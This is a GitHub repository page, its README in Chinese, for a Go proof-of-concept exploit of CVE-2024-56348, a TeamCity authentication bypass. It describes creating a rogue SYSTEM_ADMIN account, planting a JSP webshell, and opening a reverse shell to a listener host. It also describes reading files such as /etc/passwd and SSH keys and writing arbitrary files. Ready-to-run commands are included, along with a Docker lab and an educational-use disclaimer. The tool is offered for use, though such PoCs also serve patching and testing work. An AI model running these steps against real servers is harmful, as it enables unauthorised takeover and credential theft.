joshuavanderpoll/cve-2024-56348

GitHub: joshuavanderpoll/cve-2024-56348

JetBrains TeamCity 认证绕过漏洞的完整利用工具,支持交互式 shell、RCE 和文件操作。

Stars: 1 | Forks: 0

JetBrains TeamCity 认证绕过 + RCE (CVE-2024-56348) PoC

Go

## 📜 描述 CVE-2024-56348 是 **JetBrains TeamCity 本地部署版** 中的一个严重认证绕过漏洞,影响 **2024.12** 之前的所有版本。REST API 对包含 `;.jsp` 的路径请求处理不当,允许未经认证的攻击者像完全认证用户一样调用任何 REST 端点。 此漏洞利用程序将此绕过与 TeamCity 自身的 REST API 结合,创建一个 `SYSTEM_ADMIN` 账户,生成 API token,并实现 **完全远程代码执行** —— 通过内置 debug 端点或动态上传的 JSP 插件 webshell。无需凭证。 **受影响版本:** JetBrains TeamCity on-premises < 2024.12 ## ✨ 特性 - **交互式 shell** — 伪 shell,支持 stdout/stderr 分离,提示符中包含退出码 - **命令执行** — 通过 `-command` 执行单条命令,输出完整的 stdout、stderr 和退出码 - **反向 shell** — 部署 JSP 插件 webshell 并触发回连到您的监听器 - **文件读取** — 读取 TeamCity 进程可访问的任何文件 - **文件写入** — 将任意内容写入服务器上任何可写路径 ## 🛠️ 安装 ``` git clone https://github.com/joshuavanderpoll/cve-2024-56348.git cd CVE-2024-56348 go build -o exp cve-2024-56348.go ``` ### 直接使用 Go 安装 ``` go install github.com/joshuavanderpoll/cve-2024-56348@latest ``` ### 不安装直接运行 ``` go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111 ``` ## ⚙️ 用法 ``` -t Target URL (e.g. http://127.0.0.1:8111) -command Execute a single command and print output -shell Spawn a reverse shell (requires -lhost and -lport) -lhost Listener host for the reverse shell -lport Listener port for the reverse shell -read-file Read a remote file and print its contents -write-file Remote path to write to (requires -file-content) -file-content Content to write when using -write-file ``` 不指定操作标志将自动进入 **交互式 shell**。 ### 漏洞检查 + 交互式 shell 连接到目标,确认绕过,创建临时管理员账户,并进入交互式 shell。提示符以绿色(成功)或红色(非零)显示上一条命令的退出码。 ``` ./cve-2024-56348 -t http://127.0.0.1:8111 ``` ![Interactive shell](https://raw.githubusercontent.com/joshuavanderpoll/cve-2024-56348/main/assets/interactive_shell.jpg) ### 单条命令执行 运行一条命令并分别打印 stdout、stderr 和退出码。 ``` ./cve-2024-56348 -t http://127.0.0.1:8111 -command "id" ``` ![Command execution](https://raw.githubusercontent.com/joshuavanderpoll/cve-2024-56348/main/assets/command.jpg) ### 反向 shell 部署 JSP 插件 webshell 并触发反向 shell 回连到您的监听器。请先启动 `nc -lvp 4444`。 ``` ./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444 ``` ![Reverse shell](https://raw.githubusercontent.com/joshuavanderpoll/cve-2024-56348/main/assets/reverse_shell.jpg) ### 文件读取 读取 TeamCity 进程有权访问的任何文件 —— 适用于配置文件、SSH 密钥等。 ``` ./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd ``` ![Read file](https://raw.githubusercontent.com/joshuavanderpoll/cve-2024-56348/main/assets/read_file.jpg) ### 文件写入 将任意内容写入远程路径。适用于投放额外的 payload 或修改配置。 ``` ./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE" ``` ![Write file](https://raw.githubusercontent.com/joshuavanderpoll/cve-2024-56348/main/assets/write_file.jpg) ## 🐋 Docker PoC 包含易受攻击 TeamCity 实例的独立 Docker Compose 环境,用于本地测试。 查看 [DOCKER.md](/docker/DOCKER.md) 了解更多详情 ``` cd docker/ docker compose up -d ./cve-2024-56348 -t http://127.0.0.1:8111 ``` ## 🕵🏼 参考资料 - [JetBrains 安全公告 — CVE-2024-56348](https://www.jetbrains.com/privacy-security/issues-fixed/) - [NVD — CVE-2024-56348](https://nvd.nist.gov/vuln/detail/CVE-2024-56348) - [HackIndex](https://hackindex.io/vulnerabilities/CVE-2024-56348) ## 📢 免责声明 本工具仅供教育和研究目的提供。创作者不对因使用本工具而导致的任何滥用或损害承担责任。
标签:CISA项目, CVE-2024-56348, DevSecOps, Go, Golang, JetBrains TeamCity, PoC, RCE, Ruby工具, SYSTEM_ADMIN, Webshell, Web报告查看器, 上游代理, 协议分析, 反弹Shell, 安全测试, 安全编程, 攻击性安全, 文件读写, 日志审计, 暴力破解, 未授权访问, 权限提升, 漏洞复现, 系统管理员, 编程工具, 网络安全, 认证绕过, 请求拦截, 远程代码执行, 隐私保护